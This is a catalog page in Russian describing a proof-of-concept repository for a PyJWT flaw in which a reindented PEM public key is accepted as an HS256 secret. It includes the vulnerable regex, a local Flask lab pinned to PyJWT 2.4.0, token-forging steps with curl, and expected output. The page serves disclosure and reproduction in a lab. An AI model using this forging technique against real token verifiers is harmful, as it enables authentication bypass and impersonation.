Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-102268-poc — PoC эксплуатируемости для CVE-2026-102-268 (обход обнаружения асимметричного PEM в PyJWT). | Kitploit
Инструменты/GitHubGitHub/covepseng/cve-2026-102268-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьКриптографияАутентификацияОбучение и Образование
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

PoC эксплуатируемости для CVE-2026-102-268 (обход обнаружения асимметричного PEM в PyJWT).

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-102268 — Обход обнаружения асимметричного PEM в PyJWT

Результат анализа эксплуатируемости: первопричина подтверждена, и сквозная эксплуатация воспроизводима. Открытый ключ PEM с изменёнными пробельными символами обходит защиту is_pem_format() в PyJWT и принимается как допустимый секрет HMAC, что позволяет полностью подделывать токены HS256 против любого верификатора, который включает RS256 вместе с HS256 в список разрешённых алгоритмов. Подробности см. в разделе Анализ.


Содержание

  • Обзор
  • Затронутые версии
  • Первопричина
  • Анализ
  • Структура репозитория
  • Требования
  • Использование
  • Ожидаемый вывод
  • Ссылки
  • Отказ от ответственности

Обзор

CVE-2026-102268 — это уязвимость путаницы алгоритмов в PyJWT. Перед использованием любого ключа в качестве секрета HMAC метод HMACAlgorithm.prepare_key() вызывает is_pem_format(), чтобы отклонить ключи, похожие на асимметричный ключ или сертификат в кодировке PEM — стандартная защита от атак путаницы RS256/HS256.

is_pem_format() — это единственное регулярное выражение, которое требует точного соседства \r?\n между телом ключа и маркерами BEGIN/END. Собственный загрузчик PEM из cryptography такого требования не имеет. Файл PEM с пробельными символами, примыкающими к маркеру, с терминаторами строк только в виде CR или свёрнутый в одну строку, разбирается как совершенно допустимый ключ функцией cryptography.load_pem_public_key(), тогда как is_pem_format() возвращает False для тех же самых байтов.

Следствие: защита от асимметричного ключа никогда не срабатывает, открытый ключ принимается как секрет HMAC, и любой, кто владеет этим открытым ключом — который по определению является публичным — может создать действительный токен HS256 для любого верификатора, который включает в список разрешённых алгоритмов одновременно RS256 и HS256.

Этот репозиторий содержит минимальный верификатор на Flask и ключ для воспроизведения, чтобы подтвердить это утверждение сквозным образом.


Затронутые версии

Затронутый диапазонИсправлено в
< 2.14.02.14.0

Первопричина

Уязвимая проверка в jwt/utils.py (все версии до 2.14.0):

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

Условие на её основе в jwt/algorithms.py:

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Разделители [- ] в регулярном выражении допускают только один дефис или пробел, непосредственно примыкающий к дефисам маркера. Любые другие пробельные символы между завершающим переводом строки тела ключа и маркером END — отступ, лишний \r, переформатированная в одну строку запись — приводят к неудаче сопоставления, поэтому is_pem_format() сообщает False для файла, который cryptography разбирает без нареканий.

Исправление (коммит 8b4e233, выпущено в 2.14.0) заменяет регулярное выражение однопроходным сканером по поддерживаемому набору маркеров BEGIN/END, который не зависит от точного соседства переводов строк — закрывая этот обход и в том же изменении связанную с ним ReDoS-уязвимость в той же функции (CVE-2026-102270).


Анализ

public_key.pem в этом репозитории — обычный 2048-битный открытый ключ RSA с одним изменением: строка -----END PUBLIC KEY----- имеет отступ в четыре пробела.

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

Запуск utils.py подтверждает обход напрямую против библиотеки, независимо от приложения Flask:

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256") завершается успешно. На исправленном PyJWT (≥ 2.14.0) этот же вызов вызывает InvalidKeyError — is_pem_format() корректно помечает файл как ключ PEM независимо от отступа, и путь HMAC его отклоняет. Здесь этого не происходит: отступа в четыре пробела достаточно, чтобы регулярное выражение не сработало, и байты открытого ключа принимаются как обычный секрет HMAC.

app.py воспроизводит реальное предусловие — верификатор, чей список разрешённых алгоритмов algorithms смешивает асимметричный и симметричный алгоритмы:

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

Токен, подделанный подходом из utils.py, отправленный на /verify, принимается: /verify возвращает 200 и подделанные утверждения, для токена, который никто, владеющий закрытым ключом, никогда не подписывал.


Структура репозитория

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

Требования

ИнструментВерсияПримечания
Podman≥ 4.0Docker тоже подойдёт
Python≥ 3.9Только для локального запуска utils.py
curlлюбаяДля прямого обращения к /verify

Использование

1. Сборка и запуск контейнера

podman-compose up -d

Подождите несколько секунд, затем убедитесь, что сервис запущен:

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. Подделка токена с помощью открытого ключа

python utils.py

Это подписывает {"some": "payload"} с помощью public_key.pem, используя HS256, и выводит полученный JWT — примитив подделки. Скопируйте закодированный токен.

3. Отправка подделанного токена на верификатор

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. Очистка

podman-compose down

Подтверждение исправления

Повторите шаг 2 с установленным PyJWT>=2.14.0 вместо закреплённого 2.4.0 в requirements.txt. jwt.encode() вызовет InvalidKeyError ещё до того, как токен будет создан.


Ожидаемый вывод

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
Скачать инструмент